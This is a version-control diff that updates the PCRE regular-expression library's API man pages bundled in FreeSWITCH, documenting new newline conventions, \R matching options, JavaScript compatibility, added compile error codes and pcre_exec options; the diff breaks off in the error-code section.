

--- freeswitch/branches/seven/libs/pcre/doc/pcre_version.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_version.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B char *pcre_version(void);
 .
 .SH DESCRIPTION

Modified: freeswitch/branches/seven/libs/pcre/doc/pcreapi.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcreapi.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcreapi.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,14 +7,12 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B pcre *pcre_compile(const char *\fIpattern\fP, int \fIoptions\fP,
 .ti +5n
 .B const char **\fIerrptr\fP, int *\fIerroffset\fP,
 .ti +5n
 .B const unsigned char *\fItableptr\fP);
 .PP
-.br
 .B pcre *pcre_compile2(const char *\fIpattern\fP, int \fIoptions\fP,
 .ti +5n
 .B int *\fIerrorcodeptr\fP,
@@ -23,19 +21,16 @@
 .ti +5n
 .B const unsigned char *\fItableptr\fP);
 .PP
-.br
 .B pcre_extra *pcre_study(const pcre *\fIcode\fP, int \fIoptions\fP,
 .ti +5n
 .B const char **\fIerrptr\fP);
 .PP
-.br
 .B int pcre_exec(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B "const char *\fIsubject\fP," int \fIlength\fP, int \fIstartoffset\fP,
 .ti +5n
 .B int \fIoptions\fP, int *\fIovector\fP, int \fIovecsize\fP);
 .PP
-.br
 .B int pcre_dfa_exec(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B "const char *\fIsubject\fP," int \fIlength\fP, int \fIstartoffset\fP,
@@ -44,7 +39,6 @@
 .ti +5n
 .B int *\fIworkspace\fP, int \fIwscount\fP);
 .PP
-.br
 .B int pcre_copy_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,
@@ -53,14 +47,12 @@
 .ti +5n
 .B char *\fIbuffer\fP, int \fIbuffersize\fP);
 .PP
-.br
 .B int pcre_copy_substring(const char *\fIsubject\fP, int *\fIovector\fP,
 .ti +5n
 .B int \fIstringcount\fP, int \fIstringnumber\fP, char *\fIbuffer\fP,
 .ti +5n
 .B int \fIbuffersize\fP);
 .PP
-.br
 .B int pcre_get_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,
@@ -69,76 +61,59 @@
 .ti +5n
 .B const char **\fIstringptr\fP);
 .PP
-.br
 .B int pcre_get_stringnumber(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIname\fP);
 .PP
-.br
 .B int pcre_get_stringtable_entries(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIname\fP, char **\fIfirst\fP, char **\fIlast\fP);
 .PP
-.br
 .B int pcre_get_substring(const char *\fIsubject\fP, int *\fIovector\fP,
 .ti +5n
 .B int \fIstringcount\fP, int \fIstringnumber\fP,
 .ti +5n
 .B const char **\fIstringptr\fP);
 .PP
-.br
 .B int pcre_get_substring_list(const char *\fIsubject\fP,
 .ti +5n
 .B int *\fIovector\fP, int \fIstringcount\fP, "const char ***\fIlistptr\fP);"
 .PP
-.br
 .B void pcre_free_substring(const char *\fIstringptr\fP);
 .PP
-.br
 .B void pcre_free_substring_list(const char **\fIstringptr\fP);
 .PP
-.br
 .B const unsigned char *pcre_maketables(void);
 .PP
-.br
 .B int pcre_fullinfo(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B int \fIwhat\fP, void *\fIwhere\fP);
 .PP
-.br
 .B int pcre_info(const pcre *\fIcode\fP, int *\fIoptptr\fP, int
 .B *\fIfirstcharptr\fP);
 .PP
-.br
 .B int pcre_refcount(pcre *\fIcode\fP, int \fIadjust\fP);
 .PP
-.br
 .B int pcre_config(int \fIwhat\fP, void *\fIwhere\fP);
 .PP
-.br
 .B char *pcre_version(void);
 .PP
-.br
 .B void *(*pcre_malloc)(size_t);
 .PP
-.br
 .B void (*pcre_free)(void *);
 .PP
-.br
 .B void *(*pcre_stack_malloc)(size_t);
 .PP
-.br
 .B void (*pcre_stack_free)(void *);
 .PP
-.br
 .B int (*pcre_callout)(pcre_callout_block *);
 .
 .
 .SH "PCRE API OVERVIEW"
 .rs
 .sp
-PCRE has its own native API, which is described in this document. There is
-also a set of wrapper functions that correspond to the POSIX regular expression
+PCRE has its own native API, which is described in this document. There are
+also some wrapper functions that correspond to the POSIX regular expression
 API. These are described in the
 .\" HREF
 \fBpcreposix\fP
@@ -165,14 +140,14 @@
 .\" HREF
 \fBpcresample\fP
 .\"
-documentation describes how to run it.
+documentation describes how to compile and run it.
 .P
 A second matching function, \fBpcre_dfa_exec()\fP, which is not
 Perl-compatible, is also provided. This uses a different algorithm for the
 matching. The alternative algorithm finds all possible matches (at a given
-point in the subject). However, this algorithm does not return captured
-substrings. A description of the two matching algorithms and their advantages
-and disadvantages is given in the
+point in the subject), and scans the subject just once. However, this algorithm
+does not return captured substrings. A description of the two matching
+algorithms and their advantages and disadvantages is given in the
 .\" HREF
 \fBpcrematching\fP
 .\"
@@ -243,16 +218,47 @@
 documentation.
 .
 .
+.\" HTML <a name="newlines"></a>
 .SH NEWLINES
-PCRE supports three different conventions for indicating line breaks in
-strings: a single CR character, a single LF character, or the two-character
-sequence CRLF. All three are used as "standard" by different operating systems.
-When PCRE is built, a default can be specified. The default default is LF,
-which is the Unix standard. When PCRE is run, the default can be overridden,
-either when a pattern is compiled, or when it is matched.
+.rs
 .sp
+PCRE supports five different conventions for indicating line breaks in
+strings: a single CR (carriage return) character, a single LF (linefeed)
+character, the two-character sequence CRLF, any of the three preceding, or any
+Unicode newline sequence. The Unicode newline sequences are the three just
+mentioned, plus the single characters VT (vertical tab, U+000B), FF (formfeed,
+U+000C), NEL (next line, U+0085), LS (line separator, U+2028), and PS
+(paragraph separator, U+2029).
+.P
+Each of the first three conventions is used by at least one operating system as
+its standard newline sequence. When PCRE is built, a default can be specified.
+The default default is LF, which is the Unix standard. When PCRE is run, the
+default can be overridden, either when a pattern is compiled, or when it is
+matched.
+.P
+At compile time, the newline convention can be specified by the \fIoptions\fP
+argument of \fBpcre_compile()\fP, or it can be specified by special text at the
+start of the pattern itself; this overrides any other settings. See the
+.\" HREF
+\fBpcrepattern\fP
+.\"
+page for details of the special character sequences.
+.P
 In the PCRE documentation the word "newline" is used to mean "the character or
-pair of characters that indicate a line break".
+pair of characters that indicate a line break". The choice of newline
+convention affects the handling of the dot, circumflex, and dollar
+metacharacters, the handling of #-comments in /x mode, and, when CRLF is a
+recognized line ending sequence, the match position advancement for a
+non-anchored pattern. There is more detail about this in the
+.\" HTML <a href="#execoptions">
+.\" </a>
+section on \fBpcre_exec()\fP options
+.\"
+below.
+.P
+The choice of newline convention does not affect the interpretation of
+the \en or \er escape sequences, nor does it affect what \eR matches, which is
+controlled in a similar way, but by separate options.
 .
 .
 .SH MULTITHREADING
@@ -276,7 +282,9 @@
 .\" HREF
 \fBpcreprecompile\fP
 .\"
-documentation.
+documentation. However, compiling a regular expression with one version of PCRE
+for use with a different version is not guaranteed to work and may cause
+crashes.
 .
 .
 .SH "CHECKING BUILD-TIME OPTIONS"
@@ -308,10 +316,19 @@
   PCRE_CONFIG_NEWLINE
 .sp
 The output is an integer whose value specifies the default character sequence
-that is recognized as meaning "newline". The three values that are supported
-are: 10 for LF, 13 for CR, and 3338 for CRLF. The default should normally be
-the standard sequence for your operating system.
+that is recognized as meaning "newline". The four values that are supported
+are: 10 for LF, 13 for CR, 3338 for CRLF, -2 for ANYCRLF, and -1 for ANY.
+Though they are derived from ASCII, the same values are returned in EBCDIC
+environments. The default should normally correspond to the standard sequence
+for your operating system.
 .sp
+  PCRE_CONFIG_BSR
+.sp
+The output is an integer whose value indicates what character sequences the \eR
+escape sequence matches by default. A value of 0 means that \eR matches any
+Unicode line ending sequence; a value of 1 means that \eR matches only CR, LF,
+or CRLF. The default can be overridden when a pattern is compiled or matched.
+.sp
   PCRE_CONFIG_LINK_SIZE
 .sp
 The output is an integer that contains the number of bytes used for internal
@@ -332,13 +349,13 @@
 .sp
   PCRE_CONFIG_MATCH_LIMIT
 .sp
-The output is an integer that gives the default limit for the number of
+The output is a long integer that gives the default limit for the number of
 internal matching function calls in a \fBpcre_exec()\fP execution. Further
 details are given with \fBpcre_exec()\fP below.
 .sp
   PCRE_CONFIG_MATCH_LIMIT_RECURSION
 .sp
-The output is an integer that gives the default limit for the depth of
+The output is a long integer that gives the default limit for the depth of
 recursion when calling the internal matching function in a \fBpcre_exec()\fP
 execution. Further details are given with \fBpcre_exec()\fP below.
 .sp
@@ -387,18 +404,19 @@
 fully relocatable, because it may contain a copy of the \fItableptr\fP
 argument, which is an address (see below).
 .P
-The \fIoptions\fP argument contains independent bits that affect the
+The \fIoptions\fP argument contains various bit settings that affect the
 compilation. It should be zero if no options are required. The available
-options are described below. Some of them, in particular, those that are
-compatible with Perl, can also be set and unset from within the pattern (see
-the detailed description in the
+options are described below. Some of them (in particular, those that are
+compatible with Perl, but also some others) can also be set and unset from
+within the pattern (see the detailed description in the
 .\" HREF
 \fBpcrepattern\fP
 .\"
-documentation). For these options, the contents of the \fIoptions\fP argument
-specifies their initial settings at the start of compilation and execution. The
-PCRE_ANCHORED and PCRE_NEWLINE_\fIxxx\fP options can be set at the time of
-matching as well as at compile time.
+documentation). For those options that can be different in different parts of
+the pattern, the contents of the \fIoptions\fP argument specifies their initial
+settings at the start of compilation and execution. The PCRE_ANCHORED and
+PCRE_NEWLINE_\fIxxx\fP options can be set at the time of matching as well as at
+compile time.
 .P
 If \fIerrptr\fP is NULL, \fBpcre_compile()\fP returns NULL immediately.
 Otherwise, if compilation of a pattern fails, \fBpcre_compile()\fP returns
@@ -453,6 +471,15 @@
 .\"
 documentation.
 .sp
+  PCRE_BSR_ANYCRLF
+  PCRE_BSR_UNICODE
+.sp
+These options (which are mutually exclusive) control what the \eR escape
+sequence matches. The choice is either to match only CR, LF, or CRLF, or to
+match any Unicode newline sequence. The default is specified when PCRE is
+built. It can be overridden from within the pattern, or by setting an option
+when a compiled pattern is matched.
+.sp
   PCRE_CASELESS
 .sp
 If this bit is set, letters in the pattern match both upper and lower case
@@ -480,8 +507,8 @@
 including those that indicate newline. Without it, a dot does not match when
 the current position is at a newline. This option is equivalent to Perl's /s
 option, and it can be changed within a pattern by a (?s) option setting. A
-negative class such as [^a] always matches newlines, independent of the setting
-of this option.
+negative class such as [^a] always matches newline characters, independent of
+the setting of this option.
 .sp
   PCRE_DUPNAMES
 .sp
@@ -525,6 +552,20 @@
 the first newline in the subject string, though the matched text may continue
 over the newline.
 .sp
+  PCRE_JAVASCRIPT_COMPAT
+.sp
+If this option is set, PCRE's behaviour is changed in some ways so that it is
+compatible with JavaScript rather than Perl. The changes are as follows:
+.P
+(1) A lone closing square bracket in a pattern causes a compile-time error,
+because this is illegal in JavaScript (by default it is treated as a data
+character). Thus, the pattern AB]CD becomes illegal when this option is set.
+.P
+(2) At run time, a back reference to an unset subpattern group matches an empty
+string (by default this causes the current matching alternative to fail). A
+pattern such as (\e1)(a) succeeds when this option is set (assuming it can find
+an "a" in the subject), whereas it fails by default, for Perl compatibility.
+.sp
   PCRE_MULTILINE
 .sp
 By default, PCRE treats the subject string as consisting of a single line of
@@ -544,18 +585,37 @@
   PCRE_NEWLINE_CR
   PCRE_NEWLINE_LF
   PCRE_NEWLINE_CRLF
+  PCRE_NEWLINE_ANYCRLF
+  PCRE_NEWLINE_ANY
 .sp
 These options override the default newline definition that was chosen when PCRE
 was built. Setting the first or the second specifies that a newline is
-indicated by a single character (CR or LF, respectively). Setting both of them
-specifies that a newline is indicated by the two-character CRLF sequence. For
-convenience, PCRE_NEWLINE_CRLF is defined to contain both bits. The only time
-that a line break is relevant when compiling a pattern is if PCRE_EXTENDED is
-set, and an unescaped # outside a character class is encountered. This
-indicates a comment that lasts until after the next newline.
+indicated by a single character (CR or LF, respectively). Setting
+PCRE_NEWLINE_CRLF specifies that a newline is indicated by the two-character
+CRLF sequence. Setting PCRE_NEWLINE_ANYCRLF specifies that any of the three
+preceding sequences should be recognized. Setting PCRE_NEWLINE_ANY specifies
+that any Unicode newline sequence should be recognized. The Unicode newline
+sequences are the three just mentioned, plus the single characters VT (vertical
+tab, U+000B), FF (formfeed, U+000C), NEL (next line, U+0085), LS (line
+separator, U+2028), and PS (paragraph separator, U+2029). The last two are
+recognized only in UTF-8 mode.
 .P
-The newline option set at compile time becomes the default that is used for
-\fBpcre_exec()\fP and \fBpcre_dfa_exec()\fP, but it can be overridden.
+The newline setting in the options word uses three bits that are treated
+as a number, giving eight possibilities. Currently only six are used (default
+plus the five values above). This means that if you set more than one newline
+option, the combination may or may not be sensible. For example,
+PCRE_NEWLINE_CR with PCRE_NEWLINE_LF is equivalent to PCRE_NEWLINE_CRLF, but
+other combinations may yield unused numbers and cause an error.
+.P
+The only time that a line break is specially recognized when compiling a
+pattern is if PCRE_EXTENDED is set, and an unescaped # outside a character
+class is encountered. This indicates a comment that lasts until after the next
+line break sequence. In other circumstances, line break sequences are treated
+as literal data, except that in PCRE_EXTENDED mode, both CR and LF are treated
+as whitespace characters and are therefore ignored.
+.P
+The newline option that is set at compile time becomes the default that is used
+for \fBpcre_exec()\fP and \fBpcre_dfa_exec()\fP, but it can be overridden.
 .sp
   PCRE_NO_AUTO_CAPTURE
 .sp
@@ -591,14 +651,22 @@
   PCRE_NO_UTF8_CHECK
 .sp
 When PCRE_UTF8 is set, the validity of the pattern as a UTF-8 string is
-automatically checked. If an invalid UTF-8 sequence of bytes is found,
-\fBpcre_compile()\fP returns an error. If you already know that your pattern is
-valid, and you want to skip this check for performance reasons, you can set the
-PCRE_NO_UTF8_CHECK option. When it is set, the effect of passing an invalid
-UTF-8 string as a pattern is undefined. It may cause your program to crash.
-Note that this option can also be passed to \fBpcre_exec()\fP and
-\fBpcre_dfa_exec()\fP, to suppress the UTF-8 validity checking of subject
-strings.
+automatically checked. There is a discussion about the
+.\" HTML <a href="pcre.html#utf8strings">
+.\" </a>
+validity of UTF-8 strings
+.\"
+in the main
+.\" HREF
+\fBpcre\fP
+.\"
+page. If an invalid UTF-8 sequence of bytes is found, \fBpcre_compile()\fP
+returns an error. If you already know that your pattern is valid, and you want
+to skip this check for performance reasons, you can set the PCRE_NO_UTF8_CHECK
+option. When it is set, the effect of passing an invalid UTF-8 string as a
+pattern is undefined. It may cause your program to crash. Note that this option
+can also be passed to \fBpcre_exec()\fP and \fBpcre_dfa_exec()\fP, to suppress
+the UTF-8 validity checking of subject strings.
 .
 .
 .SH "COMPILATION ERROR CODES"
@@ -606,7 +674,8 @@
 .sp
 The following table lists the error codes than may be returned by
 \fBpcre_compile2()\fP, along with the error messages that may be returned by
-both compiling functions.
+both compiling functions. As PCRE has developed, some error codes have fallen
+out of use. To avoid confusion, they have not been re-used.
 .sp
    0  no error
    1  \e at end of pattern
@@ -618,17 +687,17 @@
    7  invalid escape sequence in character class
    8  range out of order in character class
    9  nothing to repeat
-  10  operand of unlimited repeat could match the empty string
+  10  [this code is not in use]
   11  internal error: unexpected repeat
-  12  unrecognized character after (?
+  12  unrecognized character after (? or (?-
   13  POSIX named classes are supported only within a class
   14  missing )
   15  reference to non-existent subpattern
   16  erroffset passed as NULL
   17  unknown option bit(s) set
   18  missing ) after comment
-  19  parentheses nested too deeply
-  20  regular expression too large
+  19  [this code is not in use]
+  20  regular expression is too large
   21  failed to get memory
   22  unmatched parentheses
   23  internal error: code overflow
@@ -637,11 +706,11 @@
   26  malformed number or name after (?(
   27  conditional group contains more than two branches
   28  assertion expected after (?(
-  29  (?R or (?digits must be followed by )
+  29  (?R or (?[+-]digits must be followed by )
   30  unknown POSIX class name
   31  POSIX collating elements are not supported
   32  this version of PCRE is not compiled with PCRE_UTF8 support
-  33  spare error
+  33  [this code is not in use]
   34  character value in \ex{...} sequence is too large
   35  invalid condition (?(0)
   36  \eC not allowed in lookbehind assertion
@@ -650,16 +719,33 @@
   39  closing ) for (?C expected
   40  recursive call could loop indefinitely
   41  unrecognized character after (?P
-  42  syntax error after (?P
+  42  syntax error in subpattern name (missing terminator)
   43  two named subpatterns have the same name
   44  invalid UTF-8 string
   45  support for \eP, \ep, and \eX has not been compiled
   46  malformed \eP or \ep sequence
   47  unknown property name after \eP or \ep
   48  subpattern name is too long (maximum 32 characters)
-  49  too many named subpatterns (maximum 10,000)
-  50  repeated subpattern is too long
+  49  too many named subpatterns (maximum 10000)
+  50  [this code is not in use]
   51  octal value is greater than \e377 (not in UTF-8 mode)
+  52  internal error: overran compiling workspace
+  53  internal error: previously-checked referenced subpattern not found
+  54  DEFINE group contains more than one branch
+  55  repeating a DEFINE group is not allowed
+  56  inconsistent NEWLINE options
+  57  \eg is not followed by a braced, angle-bracketed, or quoted
+        name/number or by a plain number
+  58  a numbered reference must not be zero
+  59  (*VERB) with an argument is not supported
+  60  (*VERB) not recognized
+  61  number is too big
+  62  subpattern name expected
+  63  digit expected after (?+
+  64  ] is an invalid data character in JavaScript compatibility mode
+.sp
+The numbers 32 and 10000 in errors 48 and 49 are defaults; different values may
+be used if the limits were changed when PCRE was built.
 .
 .
 .SH "STUDYING A PATTERN"
@@ -719,20 +805,26 @@
 .SH "LOCALE SUPPORT"
 .rs
 .sp
-PCRE handles caseless matching, and determines whether characters are letters
+PCRE handles caseless matching, and determines whether characters are letters,
 digits, or whatever, by reference to a set of tables, indexed by character
 value. When running in UTF-8 mode, this applies only to characters with codes
 less than 128. Higher-valued codes never match escapes such as \ew or \ed, but
 can be tested with \ep if PCRE is built with Unicode character property
-support. The use of locales with Unicode is discouraged.
+support. The use of locales with Unicode is discouraged. If you are handling
+characters with codes greater than 128, you should either use UTF-8 and
+Unicode, or use locales, but not try to mix the two.
 .P
-An internal set of tables is created in the default C locale when PCRE is
-built. This is used when the final argument of \fBpcre_compile()\fP is NULL,
-and is sufficient for many applications. An alternative set of tables can,
-however, be supplied. These may be created in a different locale from the
-default. As more and more applications change to using Unicode, the need for
-this locale support is expected to die away.
+PCRE contains an internal set of tables that are used when the final argument
+of \fBpcre_compile()\fP is NULL. These are sufficient for many applications.
+Normally, the internal tables recognize only ASCII characters. However, when
+PCRE is built, it is possible to cause the internal tables to be rebuilt in the
+default "C" locale of the local system, which may cause them to be different.
 .P
+The internal tables can always be overridden by tables supplied by the
+application that calls PCRE. These may be created in a different locale from
+the default. As more and more applications change to using Unicode, the need
+for this locale support is expected to die away.
+.P
 External tables are built by calling the \fBpcre_maketables()\fP function,
 which has no arguments, in the relevant locale. The result can then be passed
 to \fBpcre_compile()\fP or \fBpcre_exec()\fP as often as necessary. For
@@ -744,6 +836,9 @@
   tables = pcre_maketables();
   re = pcre_compile(..., tables);
 .sp
+The locale name "fr_FR" is used on Linux and other Unix-like systems; if you
+are using Windows, the name for the French locale is "french".
+.P
 When \fBpcre_maketables()\fP runs, the tables are built in memory that is
 obtained via \fBpcre_malloc\fP. It is the caller's responsibility to ensure
 that the memory containing the tables remains available for as long as it is
@@ -827,7 +922,7 @@
 still recognized for backwards compatibility.)
 .P
 If there is a fixed first byte, for example, from a pattern such as
-(cat|cow|coyote). Otherwise, if either
+(cat|cow|coyote), its value is returned. Otherwise, if either
 .sp
 (a) the pattern was compiled with the PCRE_MULTILINE option, and every branch
 starts with "^", or
@@ -846,6 +941,18 @@
 string, a pointer to the table is returned. Otherwise NULL is returned. The
 fourth argument should point to an \fBunsigned char *\fP variable.
 .sp
+  PCRE_INFO_HASCRORLF
+.sp
+Return 1 if the pattern contains any explicit matches for CR or LF characters,
+otherwise 0. The fourth argument should point to an \fBint\fP variable. An
+explicit match is either a literal CR or LF character, or \er or \en.
+.sp
+  PCRE_INFO_JCHANGED
+.sp
+Return 1 if the (?J) or (?-J) option setting is used in the pattern, otherwise
+0. The fourth argument should point to an \fBint\fP variable. (?J) and
+(?-J) set and unset the local PCRE_DUPNAMES option, respectively.
+.sp
   PCRE_INFO_LASTLITERAL
 .sp
 Return the value of the rightmost literal byte that must exist in any matched
@@ -882,8 +989,8 @@
 PCRE_EXTENDED is set, so white space - including newlines - is ignored):
 .sp
 .\" JOIN
-  (?P<date> (?P<year>(\ed\ed)?\ed\ed) -
-  (?P<month>\ed\ed) - (?P<day>\ed\ed) )
+  (?<date> (?<year>(\ed\ed)?\ed\ed) -
+  (?<month>\ed\ed) - (?<day>\ed\ed) )
 .sp
 There are four named subpatterns, so the table has four entries, and each entry
 in the table is eight bytes long. The table is as follows, with non-printing
@@ -898,12 +1005,25 @@
 name-to-number map, remember that the length of the entries is likely to be
 different for each compiled pattern.
 .sp
+  PCRE_INFO_OKPARTIAL
+.sp
+Return 1 if the pattern can be used for partial matching, otherwise 0. The
+fourth argument should point to an \fBint\fP variable. The
+.\" HREF
+\fBpcrepartial\fP
+.\"
+documentation lists the restrictions that apply to patterns when partial
+matching is used.
+.sp
   PCRE_INFO_OPTIONS
 .sp
 Return a copy of the options with which the pattern was compiled. The fourth
 argument should point to an \fBunsigned long int\fP variable. These option bits
 are those specified in the call to \fBpcre_compile()\fP, modified by any
-top-level option settings within the pattern itself.
+top-level option settings at the start of the pattern itself. In other words,
+they are the options that will be in force when matching starts. For example,
+if the pattern /(?im)abc(?-i)d/ is compiled with the PCRE_EXTENDED option, the
+result is PCRE_CASELESS, PCRE_MULTILINE, and PCRE_EXTENDED.
 .P
 A pattern is automatically anchored by PCRE if all of its top-level
 alternatives begin with one of the following:
@@ -1114,12 +1234,14 @@
 .\"
 documentation for a discussion of saving compiled patterns for later use.
 .
+.\" HTML <a name="execoptions"></a>
 .SS "Option bits for \fBpcre_exec()\fP"
 .rs
 .sp
 The unused bits of the \fIoptions\fP argument for \fBpcre_exec()\fP must be
 zero. The only bits that may be set are PCRE_ANCHORED, PCRE_NEWLINE_\fIxxx\fP,
-PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, PCRE_NO_UTF8_CHECK and PCRE_PARTIAL.
+PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, PCRE_NO_START_OPTIMIZE,
+PCRE_NO_UTF8_CHECK and PCRE_PARTIAL.
 .sp
   PCRE_ANCHORED
 .sp
@@ -1128,14 +1250,47 @@
 to be anchored by virtue of its contents, it cannot be made unachored at
 matching time.
 .sp
+  PCRE_BSR_ANYCRLF
+  PCRE_BSR_UNICODE
+.sp
+These options (which are mutually exclusive) control what the \eR escape
+sequence matches. The choice is either to match only CR, LF, or CRLF, or to
+match any Unicode newline sequence. These options override the choice that was
+made or defaulted when the pattern was compiled.
+.sp
   PCRE_NEWLINE_CR
   PCRE_NEWLINE_LF
   PCRE_NEWLINE_CRLF
+  PCRE_NEWLINE_ANYCRLF
+  PCRE_NEWLINE_ANY
 .sp
 These options override the newline definition that was chosen or defaulted when
-the pattern was compiled. For details, see the description \fBpcre_compile()\fP
-above. During matching, the newline choice affects the behaviour of the dot,
-circumflex, and dollar metacharacters.
+the pattern was compiled. For details, see the description of
+\fBpcre_compile()\fP above. During matching, the newline choice affects the
+behaviour of the dot, circumflex, and dollar metacharacters. It may also alter
+the way the match position is advanced after a match failure for an unanchored
+pattern.
+.P
+When PCRE_NEWLINE_CRLF, PCRE_NEWLINE_ANYCRLF, or PCRE_NEWLINE_ANY is set, and a
+match attempt for an unanchored pattern fails when the current position is at a
+CRLF sequence, and the pattern contains no explicit matches for CR or LF
+characters, the match position is advanced by two characters instead of one, in
+other words, to after the CRLF.
+.P
+The above rule is a compromise that makes the most common cases work as
+expected. For example, if the pattern is .+A (and the PCRE_DOTALL option is not
+set), it does not match the string "\er\enA" because, after failing at the
+start, it skips both the CR and the LF before retrying. However, the pattern
+[\er\en]A does match that string, because it contains an explicit CR or LF
+reference, and so advances only by one character after the first failure.
+.P
+An explicit match for CR of LF is either a literal appearance of one of those
+characters, or one of the \er or \en escape sequences. Implicit matches such as
+[^X] do not count, nor does \es (which includes CR and LF in the characters
+that it matches).
+.P
+Notwithstanding the above, anomalous effects may still occur when CRLF is a
+valid newline sequence and explicit \er or \en escapes appear in the pattern.
 .sp
   PCRE_NOTBOL
 .sp
@@ -1173,14 +1328,34 @@
 starting offset (see below) and trying an ordinary match again. There is some
 code that demonstrates how to do this in the \fIpcredemo.c\fP sample program.
 .sp
+  PCRE_NO_START_OPTIMIZE
+.sp
+There are a number of optimizations that \fBpcre_exec()\fP uses at the start of
+a match, in order to speed up the process. For example, if it is known that a
+match must start with a specific character, it searches the subject for that
+character, and fails immediately if it cannot find it, without actually running
+the main matching function. When callouts are in use, these optimizations can
+cause them to be skipped. This option disables the "start-up" optimizations,
+causing performance to suffer, but ensuring that the callouts do occur.
+.sp
   PCRE_NO_UTF8_CHECK
 .sp
 When PCRE_UTF8 is set at compile time, the validity of the subject as a UTF-8
 string is automatically checked when \fBpcre_exec()\fP is subsequently called.
 The value of \fIstartoffset\fP is also checked to ensure that it points to the
-start of a UTF-8 character. If an invalid UTF-8 sequence of bytes is found,
-\fBpcre_exec()\fP returns the error PCRE_ERROR_BADUTF8. If \fIstartoffset\fP
-contains an invalid value, PCRE_ERROR_BADUTF8_OFFSET is returned.
+start of a UTF-8 character. There is a discussion about the validity of UTF-8
+strings in the
+.\" HTML <a href="pcre.html#utf8strings">
+.\" </a>
+section on UTF-8 support
+.\"
+in the main
+.\" HREF
+\fBpcre\fP
+.\"
+page. If an invalid UTF-8 sequence of bytes is found, \fBpcre_exec()\fP returns
+the error PCRE_ERROR_BADUTF8. If \fIstartoffset\fP contains an invalid value,
+PCRE_ERROR_BADUTF8_OFFSET is returned.
 .P
 If you already know that your subject is valid, and you want to skip these
 checks for performance reasons, you can set the PCRE_NO_UTF8_CHECK option when
@@ -1210,11 +1385,11 @@
 .rs
 .sp
 The subject string is passed to \fBpcre_exec()\fP as a pointer in
-\fIsubject\fP, a length in \fIlength\fP, and a starting byte offset in
-\fIstartoffset\fP. In UTF-8 mode, the byte offset must point to the start of a
-UTF-8 character. Unlike the pattern string, the subject may contain binary zero
-bytes. When the starting offset is zero, the search for a match starts at the
-beginning of the subject, and this is by far the most common case.
+\fIsubject\fP, a length (in bytes) in \fIlength\fP, and a starting byte offset
+in \fIstartoffset\fP. In UTF-8 mode, the byte offset must point to the start of
+a UTF-8 character. Unlike the pattern string, the subject may contain binary
+zero bytes. When the starting offset is zero, the search for a match starts at
+the beginning of the subject, and this is by far the most common case.
 .P
 A non-zero starting offset is useful when searching for another match in the
 same subject by calling \fBpcre_exec()\fP again after a previous success.
@@ -1248,38 +1423,41 @@
 a fragment of a pattern that picks out a substring. PCRE supports several other
 kinds of parenthesized subpattern that do not cause substrings to be captured.
 .P
-Captured substrings are returned to the caller via a vector of integer offsets
-whose address is passed in \fIovector\fP. The number of elements in the vector
-is passed in \fIovecsize\fP, which must be a non-negative number. \fBNote\fP:
-this argument is NOT the size of \fIovector\fP in bytes.
+Captured substrings are returned to the caller via a vector of integers whose
+address is passed in \fIovector\fP. The number of elements in the vector is
+passed in \fIovecsize\fP, which must be a non-negative number. \fBNote\fP: this
+argument is NOT the size of \fIovector\fP in bytes.
 .P
 The first two-thirds of the vector is used to pass back captured substrings,
 each substring using a pair of integers. The remaining third of the vector is
 used as workspace by \fBpcre_exec()\fP while matching capturing subpatterns,
-and is not available for passing back information. The length passed in
+and is not available for passing back information. The number passed in
 \fIovecsize\fP should always be a multiple of three. If it is not, it is
 rounded down.
 .P
 When a match is successful, information about captured substrings is returned
 in pairs of integers, starting at the beginning of \fIovector\fP, and
-continuing up to two-thirds of its length at the most. The first element of a
-pair is set to the offset of the first character in a substring, and the second
-is set to the offset of the first character after the end of a substring. The
-first pair, \fIovector[0]\fP and \fIovector[1]\fP, identify the portion of the
-subject string matched by the entire pattern. The next pair is used for the
-first capturing subpattern, and so on. The value returned by \fBpcre_exec()\fP
-is one more than the highest numbered pair that has been set. For example, if
-two substrings have been captured, the returned value is 3. If there are no
-capturing subpatterns, the return value from a successful match is 1,
-indicating that just the first pair of offsets has been set.
+continuing up to two-thirds of its length at the most. The first element of
+each pair is set to the byte offset of the first character in a substring, and
+the second is set to the byte offset of the first character after the end of a
+substring. \fBNote\fP: these values are always byte offsets, even in UTF-8
+mode. They are not character counts.
 .P
+The first pair of integers, \fIovector[0]\fP and \fIovector[1]\fP, identify the
+portion of the subject string matched by the entire pattern. The next pair is
+used for the first capturing subpattern, and so on. The value returned by
+\fBpcre_exec()\fP is one more than the highest numbered pair that has been set.
+For example, if two substrings have been captured, the returned value is 3. If
+there are no capturing subpatterns, the return value from a successful match is
+1, indicating that just the first pair of offsets has been set.
+.P
 If a capturing subpattern is matched repeatedly, it is the last portion of the
 string that it matched that is returned.
 .P
 If the vector is too small to hold all the captured substring offsets, it is
 used as far as possible (up to two-thirds of its length), and the function
-returns a value of zero. In particular, if the substring offsets are not of
-interest, \fBpcre_exec()\fP may be called with \fIovector\fP passed as NULL and
+returns a value of zero. If the substring offsets are not of interest,
+\fBpcre_exec()\fP may be called with \fIovector\fP passed as NULL and
 \fIovecsize\fP as zero. However, if the pattern contains back references and
 the \fIovector\fP is not big enough to remember the related substrings, PCRE
 has to get additional memory for use during matching. Thus it is usually
@@ -1336,7 +1514,7 @@
 other endianness. This is the error that PCRE gives when the magic number is
 not present.
 .sp
-  PCRE_ERROR_UNKNOWN_NODE   (-5)
+  PCRE_ERROR_UNKNOWN_OPCODE (-5)
 .sp
 While running the pattern match, an unknown item was encountered in the
